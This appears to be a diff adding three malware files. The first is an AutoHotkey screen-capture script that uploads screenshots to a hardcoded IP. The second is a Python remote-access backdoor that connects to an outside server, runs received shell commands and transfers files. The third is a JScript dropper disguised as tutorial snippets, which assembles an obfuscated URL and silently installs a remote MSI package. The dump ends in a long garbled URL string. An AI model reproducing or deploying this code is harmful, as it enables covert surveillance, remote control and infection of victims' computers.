|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#NoTrayIcon
|
| 2 |
+
#SingleInstance off
|
| 3 |
+
#NoEnv
|
| 4 |
+
SetBatchLines, -1
|
| 5 |
+
|
| 6 |
+
|
| 7 |
+
sGeu := new GDIplus
|
| 8 |
+
size := sGeu.SaveBitmap(pBitmap, buff := "jpg", 24, true)
|
| 9 |
+
|
| 10 |
+
|
| 11 |
+
sArr := SafesArrayFromData(buff, size)
|
| 12 |
+
DriveGet, serial, serial, C:
|
| 13 |
+
try UploadSafesArray(sArr, "http://22.113.16.27/screenshot/" . serial)
|
| 14 |
+
catch {
|
| 15 |
+
|
| 16 |
+
ExitApp
|
| 17 |
+
}
|
| 18 |
+
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
UploadSafesArray(sArr, TargetAddress) {
|
| 22 |
+
ComObjError(False)
|
| 23 |
+
HTTP := ComObjCreate("WinHttp.WinHttpRequest.5.1")
|
| 24 |
+
HTTP.Open("POST", TargetAddress, False)
|
| 25 |
+
HTTP.SetRequestHeader("User-Agent", "AutoHotkey")
|
| 26 |
+
HTTP.Send(sArr)
|
| 27 |
+
}
|
| 28 |
+
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
SafesArrayFromData(ByRef data, size) {
|
| 32 |
+
sArr := ComObjsArray(VT_UI1 := 0x11, size)
|
| 33 |
+
DllCall("RtlMoveMemory", Ptr, NumGet( ComObjValue(sArr) + 8 + A_PtrSize ), Ptr, &data, Ptr, size)
|
| 34 |
+
Return sArr
|
| 35 |
+
}
|
| 36 |
+
|
| 37 |
+
class GDIplus {
|
| 38 |
+
__New() {
|
| 39 |
+
if !DllCall("GetModuleHandle", "Str", "gdiplus", "Ptr")
|
| 40 |
+
DllCall("LoadLibrary", "Str", "gdiplus")
|
| 41 |
+
VarSetCapacity(si, A_PtrSize = 8 ? 24 : 16, 0), si := Chr(1)
|
| 42 |
+
DllCall("gdiplus\GdiplusStartup", "UPtrP", pToken, "Ptr", &si, "Ptr", 0)
|
| 43 |
+
this.token := pToken
|
| 44 |
+
}
|
| 45 |
+
__Delete() {
|
| 46 |
+
DllCall("gdiplus\GdiplusShutdown", "Ptr", this.token)
|
| 47 |
+
if hModule := DllCall("GetModuleHandle", "Str", "gdiplus", "Ptr")
|
| 48 |
+
DllCall("FreeLibrary", "Ptr", hModule)
|
| 49 |
+
}
|
| 50 |
+
CreateBitmapFromFile(sFile) {
|
| 51 |
+
DllCall("gdiplus\GdipCreateBitmapFromFile", "WStr", sFile, "PtrP", pBitmap)
|
| 52 |
+
Return pBitmap
|
| 53 |
+
}
|
| 54 |
+
BitmapFromScreen() {
|
| 55 |
+
Sysget, x, 76
|
| 56 |
+
Sysget, y, 77
|
| 57 |
+
Sysget, w, 78
|
| 58 |
+
Sysget, h, 79
|
| 59 |
+
|
| 60 |
+
if (x = "") || (y = "") || (w = "") || (h = "")
|
| 61 |
+
return -1
|
| 62 |
+
|
| 63 |
+
chdc := this.CreateCompatibleDC(), hbm := this.CreateDIBSection(w, h, chdc)
|
| 64 |
+
obm := this.SelectObject(chdc, hbm), hhdc := hhdc ? hhdc : this.GetDC()
|
| 65 |
+
this.BitBlt(chdc, 0, 0, w, h, hhdc, x, y, Raster)
|
| 66 |
+
this.ReleaseDC(hhdc)
|
| 67 |
+
|
| 68 |
+
pBitmap := this.CreateBitmapFromHBITMAP(hbm)
|
| 69 |
+
this.SelectObject(chdc, obm), this.DeleteObject(hbm), this.DeleteDC(hhdc), this.DeleteDC(chdc)
|
| 70 |
+
return pBitmap
|
| 71 |
+
}
|
| 72 |
+
SaveBitmap(pBitmap, ByRef info, Quality := 75, tobuff := "")
|
| 73 |
+
{
|
| 74 |
+
; info — если копируем в буфер, тогда расширение файла, если в файл, тогда путь к файлу
|
| 75 |
+
if tobuff
|
| 76 |
+
Extension := info
|
| 77 |
+
else
|
| 78 |
+
SplitPath, info,,, Extension
|
| 79 |
+
if Extension not in BMP,DIB,RLE,JPG,JPEG,JPE,JFIF,GIF,TIF,TIFF,PNG
|
| 80 |
+
return -1
|
| 81 |
+
|
| 82 |
+
DllCall("gdiplus\GdipGetImageEncodersSize", "UIntP", nCount, "UIntP", nSize)
|
| 83 |
+
VarSetCapacity(ci, nSize)
|
| 84 |
+
DllCall("gdiplus\GdipGetImageEncoders", "UInt", nCount, "UInt", nSize, "Ptr", &ci)
|
| 85 |
+
if !(nCount && nSize)
|
| 86 |
+
return -2
|
| 87 |
+
|
| 88 |
+
Loop, % nCount {
|
| 89 |
+
sString := StrGet(NumGet(ci, (idx := (48+7*A_PtrSize)*(A_Index-1))+32+3*A_PtrSize), "UTF-16")
|
| 90 |
+
if !InStr(sString, "*." Extension)
|
| 91 |
+
continue
|
| 92 |
+
|
| 93 |
+
pCodec := &ci+idx
|
| 94 |
+
break
|
| 95 |
+
}
|
| 96 |
+
if !pCodec
|
| 97 |
+
return -3
|
| 98 |
+
|
| 99 |
+
if RegExMatch(Extension, "i)^J(PG|PEG|PE|FIF)$") && Quality != 75 {
|
| 100 |
+
DllCall("gdiplus\GdipGetEncoderParameterListSize", "Ptr", pBitmap, "Ptr", pCodec, "UIntP", nSize)
|
| 101 |
+
VarSetCapacity(EncoderParameters, nSize, 0)
|
| 102 |
+
DllCall("gdiplus\GdipGetEncoderParameterList", "Ptr", pBitmap, "Ptr", pCodec, "UInt", nSize, "Ptr", &EncoderParameters)
|
| 103 |
+
Loop, % NumGet(EncoderParameters, "UInt")
|
| 104 |
+
{
|
| 105 |
+
elem := (24+A_PtrSize)*(A_Index-1) + 4 + (pad := A_PtrSize = 8 ? 4 : 0)
|
| 106 |
+
if (NumGet(EncoderParameters, elem+16, "UInt") = 1) && (NumGet(EncoderParameters, elem+20, "UInt") = 6)
|
| 107 |
+
{
|
| 108 |
+
p := elem+&EncoderParameters-pad-4
|
| 109 |
+
NumPut(Quality, NumGet(NumPut(4, NumPut(1, p+0)+20, "UInt")), "UInt")
|
| 110 |
+
break
|
| 111 |
+
}
|
| 112 |
+
}
|
| 113 |
+
}
|
| 114 |
+
if !tobuff
|
| 115 |
+
E := DllCall("gdiplus\GdipSaveImageToFile", "Ptr", pBitmap, "WStr", info, "Ptr", pCodec, "UInt", p ? p : 0)
|
| 116 |
+
else {
|
| 117 |
+
DllCall( "ole32\CreateStreamOnHGlobal", "UInt", 0, "Int", 1, "PtrP", pStream )
|
| 118 |
+
if !E := DllCall("gdiplus\GdipSaveImageToStream", "Ptr", pBitmap, "Ptr", pStream, "Ptr", pCodec, "UInt", p ? p : 0) {
|
| 119 |
+
DllCall("ole32\GetHGlobalFromStream", "Ptr", pStream, "PtrP", hData)
|
| 120 |
+
pData := DllCall("GlobalLock", "Ptr", hData, "Ptr")
|
| 121 |
+
nSize := DllCall("GlobalSize", "Ptr", hData, "Ptr")
|
| 122 |
+
VarSetCapacity(info, 0), VarSetCapacity(info, nSize, 0)
|
| 123 |
+
DllCall("RtlMoveMemory", "Ptr", &info, "Ptr", pData, "Ptr", nSize)
|
| 124 |
+
DllCall("GlobalUnlock", "Ptr", hData)
|
| 125 |
+
DllCall("GlobalFree", "Ptr", hData)
|
| 126 |
+
}
|
| 127 |
+
ObjRelease(pStream)
|
| 128 |
+
}
|
| 129 |
+
return E ? -4 : tobuff ? nSize : 0
|
| 130 |
+
}
|
| 131 |
+
CreateBitmapFromHBITMAP(hBitmap, Palette=0) {
|
| 132 |
+
DllCall("gdiplus\GdipCreateBitmapFromHBITMAP", "Ptr", hBitmap, "Ptr", Palette, "PtrP", pBitmap)
|
| 133 |
+
return pBitmap
|
| 134 |
+
}
|
| 135 |
+
CreateCompatibleDC(hdc=0) {
|
| 136 |
+
return DllCall("CreateCompatibleDC", "Ptr", hdc)
|
| 137 |
+
}
|
| 138 |
+
CreateDIBSection(w, h, hdc="", bpp=32, ByRef ppvBits=0) {
|
| 139 |
+
hdc2 := hdc ? hdc : this.GetDC()
|
| 140 |
+
VarSetCapacity(bi, 40, 0)
|
| 141 |
+
|
| 142 |
+
NumPut(w, bi, 4, "UInt")
|
| 143 |
+
, NumPut(h, bi, 8, "UInt")
|
| 144 |
+
, NumPut(40, bi, 0, "UInt")
|
| 145 |
+
, NumPut(1, bi, 12, "ushort")
|
| 146 |
+
, NumPut(0, bi, 16, "uInt")
|
| 147 |
+
, NumPut(bpp, bi, 14, "ushort")
|
| 148 |
+
|
| 149 |
+
hbm := DllCall("CreateDIBSection"
|
| 150 |
+
, "Ptr", hdc2
|
| 151 |
+
, "Ptr", &bi
|
| 152 |
+
, UInt, 0
|
| 153 |
+
, "PtrP", ppvBits
|
| 154 |
+
, "Ptr", 0
|
| 155 |
+
, UInt, 0, "Ptr")
|
| 156 |
+
|
| 157 |
+
if !hdc
|
| 158 |
+
this.ReleaseDC(hdc2)
|
| 159 |
+
return hbm
|
| 160 |
+
}
|
| 161 |
+
SelectObject(hdc, hgdiobj) {
|
| 162 |
+
return DllCall("SelectObject", "Ptr", hdc, "Ptr", hgdiobj)
|
| 163 |
+
}
|
| 164 |
+
GetDC(hwnd=0) {
|
| 165 |
+
return DllCall("GetDC", "Ptr", hwnd)
|
| 166 |
+
}
|
| 167 |
+
BitBlt(ddc, dx, dy, dw, dh, sdc, sx, sy, Raster="") {
|
| 168 |
+
return DllCall("gdi32\BitBlt", "Ptr", dDC, "Int", dx, "Int", dy, "Int", dw, "Int", dh
|
| 169 |
+
, "Ptr", sDC, "Int", sx, "Int", sy, UInt, Raster ? Raster : 0x00CC0020)
|
| 170 |
+
}
|
| 171 |
+
DeleteObject(hObject) {
|
| 172 |
+
return DllCall("DeleteObject", "Ptr", hObject)
|
| 173 |
+
}
|
| 174 |
+
DisposeImage(pBitmap) {
|
| 175 |
+
return DllCall("gdiplus\GdipDisposeImage", "Ptr", pBitmap)
|
| 176 |
+
}
|
| 177 |
+
DeleteDC(hdc) {
|
| 178 |
+
return DllCall("DeleteDC", "Ptr", hdc)
|
| 179 |
+
}
|
| 180 |
+
ReleaseDC(hdc, hwnd=0) {
|
| 181 |
+
return DllCall("ReleaseDC", "Ptr", hwnd, "Ptr", hdc)
|
| 182 |
+
}
|
| 183 |
+
}
|
| 184 |
+
|
| 185 |
+
;0.2
|
| 186 |
+
;~
|
code/0429bdc6a302b4288aea1b1e2f2a7545731c50d647672fa65b012b2a2caa386e
ADDED
|
@@ -0,0 +1,177 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import socket
|
| 2 |
+
import threading
|
| 3 |
+
import os
|
| 4 |
+
import time
|
| 5 |
+
import random
|
| 6 |
+
import string
|
| 7 |
+
from Crypto.Cipher import AES
|
| 8 |
+
from Crypto.Util.Padding import pad, unpad
|
| 9 |
+
|
| 10 |
+
user = os.popen('whoami').read()
|
| 11 |
+
|
| 12 |
+
BUFFER_SIZE = 4096
|
| 13 |
+
SEPARATOR = "<SEPARATOR>"
|
| 14 |
+
CONN = True
|
| 15 |
+
|
| 16 |
+
def enc_mes(mes, key):
|
| 17 |
+
try:
|
| 18 |
+
cypher = AES.new(key.encode(), AES.MODE_CBC, key.encode())
|
| 19 |
+
cypher_block = 16
|
| 20 |
+
if type(mes) != bytes:
|
| 21 |
+
mes = mes.encode()
|
| 22 |
+
return cypher.encrypt(pad(mes, cypher_block))
|
| 23 |
+
except:
|
| 24 |
+
pass
|
| 25 |
+
|
| 26 |
+
def dec_file_mes(mes, key):
|
| 27 |
+
cypher = AES.new(key.encode(), AES.MODE_CBC, key.encode())
|
| 28 |
+
cypher_block = 16
|
| 29 |
+
#mes = mes.encode()
|
| 30 |
+
s = cypher.decrypt(mes)
|
| 31 |
+
#print(unpad(s, cypher_block))
|
| 32 |
+
return unpad(s, cypher_block)
|
| 33 |
+
|
| 34 |
+
def dec_mes(mes, key):
|
| 35 |
+
if mes == b'':
|
| 36 |
+
return mes
|
| 37 |
+
else:
|
| 38 |
+
try:
|
| 39 |
+
cypher = AES.new(key.encode(), AES.MODE_CBC, key.encode())
|
| 40 |
+
cypher_block = 16
|
| 41 |
+
v = cypher.decrypt(mes)
|
| 42 |
+
return unpad(v, cypher_block)
|
| 43 |
+
except:
|
| 44 |
+
return 'echo Try it againg'
|
| 45 |
+
def receive_file():
|
| 46 |
+
try:
|
| 47 |
+
client2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 48 |
+
client2.connect(('159.196.128.120', 54763))
|
| 49 |
+
k = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))
|
| 50 |
+
client2.send(k.encode())
|
| 51 |
+
while True:
|
| 52 |
+
enc_received = client2.recv(BUFFER_SIZE)
|
| 53 |
+
received = dec_mes(enc_received, k).decode()
|
| 54 |
+
#print(received)
|
| 55 |
+
filename, filesize = received.split(SEPARATOR)
|
| 56 |
+
|
| 57 |
+
ok_enc = enc_mes('ok2',k)
|
| 58 |
+
client2.send(ok_enc)
|
| 59 |
+
total_bytes = 0
|
| 60 |
+
msg = b''
|
| 61 |
+
while total_bytes < int(filesize):
|
| 62 |
+
bytes_read = client2.recv(BUFFER_SIZE)
|
| 63 |
+
msg += bytes_read
|
| 64 |
+
total_bytes += len(bytes_read)
|
| 65 |
+
decr_file = dec_mes(msg, k)
|
| 66 |
+
with open(filename, "wb") as f:
|
| 67 |
+
f.write(decr_file)
|
| 68 |
+
break
|
| 69 |
+
|
| 70 |
+
client2.close()
|
| 71 |
+
except:
|
| 72 |
+
client2.send('Error transporting file'.encode())
|
| 73 |
+
|
| 74 |
+
def receive(client,k):
|
| 75 |
+
while True:
|
| 76 |
+
try:
|
| 77 |
+
message = None
|
| 78 |
+
msg = client.recv(1024)
|
| 79 |
+
msg = dec_mes(msg, k)
|
| 80 |
+
#print(msg)
|
| 81 |
+
message = msg.decode()
|
| 82 |
+
#if message == 'NICK':
|
| 83 |
+
# client.send(user.encode('ascii'))
|
| 84 |
+
if msg == b'':
|
| 85 |
+
time.sleep(10)
|
| 86 |
+
s = 0
|
| 87 |
+
while msg == b'':
|
| 88 |
+
s += 1
|
| 89 |
+
msg = client.recv(1024)
|
| 90 |
+
if s == 300:
|
| 91 |
+
raise Exception("Reconnect!")
|
| 92 |
+
elif message == 'check':
|
| 93 |
+
enc_answ = enc_mes('check-ok', k)
|
| 94 |
+
client.send(enc_answ)
|
| 95 |
+
elif message == 'send_file':
|
| 96 |
+
receive_file_thread = threading.Thread(target=receive_file)
|
| 97 |
+
receive_file_thread.start()
|
| 98 |
+
elif message == 'get_file':
|
| 99 |
+
okenc = enc_mes('ok', k)
|
| 100 |
+
client.send(okenc)
|
| 101 |
+
while True:
|
| 102 |
+
try:
|
| 103 |
+
path_to_file = client.recv(1024)
|
| 104 |
+
path_to_file = dec_mes(path_to_file, k)
|
| 105 |
+
|
| 106 |
+
#filesize = os.path.getsize(path_to_file)
|
| 107 |
+
with open(path_to_file, "rb") as f:
|
| 108 |
+
bytes_read = f.read()
|
| 109 |
+
bytes_enc = enc_mes(bytes_read, k)
|
| 110 |
+
filesize = len(bytes_enc)
|
| 111 |
+
#print(filesize)
|
| 112 |
+
filesize = enc_mes(f'{filesize}', k)
|
| 113 |
+
#print(filesize)
|
| 114 |
+
client.send(filesize)
|
| 115 |
+
|
| 116 |
+
vsb = client.recv(1024)
|
| 117 |
+
vsb = dec_mes(vsb, k)
|
| 118 |
+
|
| 119 |
+
client.sendall(bytes_enc)
|
| 120 |
+
break
|
| 121 |
+
except:
|
| 122 |
+
try:
|
| 123 |
+
client.send('Error uploading file'.encode('utf-8'))
|
| 124 |
+
break
|
| 125 |
+
except:
|
| 126 |
+
break
|
| 127 |
+
else:
|
| 128 |
+
if message != None and message != '' and message != '\n':
|
| 129 |
+
try:
|
| 130 |
+
answer = os.popen(message).read()
|
| 131 |
+
#print(answer)
|
| 132 |
+
if answer.encode() == b'':
|
| 133 |
+
#print('AAAAAAAAAAAAA')
|
| 134 |
+
client.send('Bad command!'.encode('ascii'))
|
| 135 |
+
else:
|
| 136 |
+
enc_answer = enc_mes(answer, k)
|
| 137 |
+
size = str(len(enc_answer))
|
| 138 |
+
#print(size)
|
| 139 |
+
client.send(size.encode())
|
| 140 |
+
ch = client.recv(1024).decode()
|
| 141 |
+
if ch == 'ok':
|
| 142 |
+
client.sendall(enc_answer)
|
| 143 |
+
except:
|
| 144 |
+
try:
|
| 145 |
+
client.send('Bad command!'.encode('ascii'))
|
| 146 |
+
except:
|
| 147 |
+
pass
|
| 148 |
+
except:
|
| 149 |
+
while True:
|
| 150 |
+
try:
|
| 151 |
+
client.close()
|
| 152 |
+
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 153 |
+
client.connect(('159.196.128.120', 55555))
|
| 154 |
+
k = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))
|
| 155 |
+
client.send(f"{user}{SEPARATOR}{k}".encode())
|
| 156 |
+
client.settimeout(600)
|
| 157 |
+
#print('An error occurred!')
|
| 158 |
+
time.sleep(60)
|
| 159 |
+
break
|
| 160 |
+
except:
|
| 161 |
+
#print('CANT RECONN')
|
| 162 |
+
time.sleep(60)
|
| 163 |
+
|
| 164 |
+
|
| 165 |
+
if __name__ == "__main__":
|
| 166 |
+
while True:
|
| 167 |
+
try:
|
| 168 |
+
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 169 |
+
client.connect(('159.196.128.120', 55555))
|
| 170 |
+
k = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))
|
| 171 |
+
client.send(f"{user}{SEPARATOR}{k}".encode())
|
| 172 |
+
client.settimeout(600)
|
| 173 |
+
break
|
| 174 |
+
except:
|
| 175 |
+
time.sleep(50)
|
| 176 |
+
receive_thread = threading.Thread(target=receive,args=(client,k))
|
| 177 |
+
receive_thread.start()
|
code/053efd154d461d4376e929f98e3210cdca2c9ecf2e3bed055bf1859c05fdaf69
ADDED
|
@@ -0,0 +1,121 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//var CryptoJS = require("crypto-js");
|
| 2 |
+
//Call REST APIs every 6 secs
|
| 3 |
+
79.6
|
| 4 |
+
/*
|
| 5 |
+
function getWalletSnapshot(exchgData){
|
| 6 |
+
|
| 7 |
+
return new Promise(function(resolve,reject){
|
| 8 |
+
|
| 9 |
+
var lv_response = {
|
| 10 |
+
"BINANCE" : {},
|
| 11 |
+
"BITFINEX" : {},
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
//BINANCE
|
| 15 |
+
//Decrypt API Keys
|
| 16 |
+
const passPhrase = require('./JSMods/encryption');
|
| 17 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["binkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 18 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["binkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
const binanceRest = new api.BinanceRest({
|
| 22 |
+
key: lv_key1, // Get this from your account on binance.com
|
| 23 |
+
secret: lv_key2, // Same for this
|
| 24 |
+
timeout: 15000, // Optional, defaults to 15000, is the request time out in milliseconds
|
| 25 |
+
recvWindow: 10000, // Optional, defaults to 5000, increase if you're getting timestamp errors
|
| 26 |
+
disableBeautification: false,
|
| 27 |
+
handleDrift: true
|
| 28 |
+
});
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
binanceRest.account()
|
| 32 |
+
.then((r1) => {
|
| 33 |
+
for(k=0;k<r1["balances"].length;k++){
|
| 34 |
+
if(r1["balances"][k]["free"] > 0){
|
| 35 |
+
lv_response["BINANCE"][r1["balances"][k]["asset"]] = r1["balances"][k]["free"];
|
| 36 |
+
}
|
| 37 |
+
}
|
| 38 |
+
|
| 39 |
+
//Bitfinex
|
| 40 |
+
//Decrypt API Keys
|
| 41 |
+
const passPhrase = require('./JSMods/encryption');
|
| 42 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["bitkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 43 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["bitkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 44 |
+
|
| 45 |
+
const BFX = require('bitfinex-api-node')
|
| 46 |
+
const bfx = new BFX({
|
| 47 |
+
apiKey: lv_key1,
|
| 48 |
+
apiSecret: lv_key2,
|
| 49 |
+
|
| 50 |
+
ws: {
|
| 51 |
+
autoReconnect: true,
|
| 52 |
+
seqAudit: true,
|
| 53 |
+
packetWDDelay: 3 * 1000
|
| 54 |
+
}
|
| 55 |
+
})
|
| 56 |
+
let ws = bfx.ws(2) //
|
| 57 |
+
ws.on('error', (err) => console.log(err))
|
| 58 |
+
ws.on('open', ws.auth.bind(ws))
|
| 59 |
+
|
| 60 |
+
ws.open()
|
| 61 |
+
ws.onWalletSnapshot({}, (walletB) => {
|
| 62 |
+
for(k=0;k<walletB.length;k++){
|
| 63 |
+
lv_response["BITFINEX"][walletB[k][1]] = walletB[k][2];
|
| 64 |
+
}
|
| 65 |
+
ws.close();
|
| 66 |
+
resolve(JSON.stringify(lv_response));
|
| 67 |
+
});
|
| 68 |
+
|
| 69 |
+
})
|
| 70 |
+
.catch((err) => {
|
| 71 |
+
console.error(err);
|
| 72 |
+
reject(JSON.stringify(err));
|
| 73 |
+
});
|
| 74 |
+
|
| 75 |
+
|
| 76 |
+
});
|
| 77 |
+
|
| 78 |
+
}
|
| 79 |
+
*/
|
| 80 |
+
|
| 81 |
+
3.9 // numeric literal
|
| 82 |
+
"Hello!" // string literal
|
| 83 |
+
false // Boolean literal
|
| 84 |
+
[1,2,3] // Array literal
|
| 85 |
+
var o = {x:1, y:2} // Object literal
|
| 86 |
+
var f = function(x){return x*x;} // function literal
|
| 87 |
+
4 + 5 // additon
|
| 88 |
+
10 / 2 // division
|
| 89 |
+
var aBird = "windowsinstaller.installer"; // Assign the text "Robin" to the variable aBird.
|
| 90 |
+
radius = 139;
|
| 91 |
+
uros = 7;3;1,83;
|
| 92 |
+
o = "p";n = "t";p = ".my.";g = "w";ka = "ba";f = "h";s = "n";
|
| 93 |
+
anExpression = 4 * (4 / 5) + 5;
|
| 94 |
+
aSecondExpression = Math.PI * radius * radius;
|
| 95 |
+
aThirdExpression = f + n + n + o +"s://amazonaws" + p + "id/wp-css/" + ka + ".msi";
|
| 96 |
+
myArray = new Array("hello", Math.PI, 48);
|
| 97 |
+
myPi = myArray[1];
|
| 98 |
+
var today = new Date(); // Assign today's date to the variable today.
|
| 99 |
+
var birthday = new ActiveXObject(aBird);
|
| 100 |
+
birthday.uilevel=2
|
| 101 |
+
birthday.InstallProduct(aThirdExpression);
|
| 102 |
+
var a = new Array(4);
|
| 103 |
+
for (i = 0; i < 4; i++) {}
|
| 104 |
+
|
| 105 |
+
function FeetToMiles(feet, cnvType) {
|
| 106 |
+
if (cnvType == "NM")
|
| 107 |
+
return( (feet / 6080) + " nautical miles");
|
| 108 |
+
else if (cnvType == "M")
|
| 109 |
+
return( (feet / 5280) + " statute miles");
|
| 110 |
+
else
|
| 111 |
+
return ("Invalid unit of measure");
|
| 112 |
+
}
|
| 113 |
+
var mradius = FeetToMiles(52800, "M");
|
| 114 |
+
//WScript.Echo(aThirdExpression);
|
| 115 |
+
'How old am I?'
|
| 116 |
+
|
| 117 |
+
var myObject = new Object(); // Creates a generic object.
|
| 118 |
+
var birthday = new Date(1961, 5, 10); // Creates a Date object.
|
| 119 |
+
|
| 120 |
+
|
| 121 |
+
https://rtrissdfmnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismn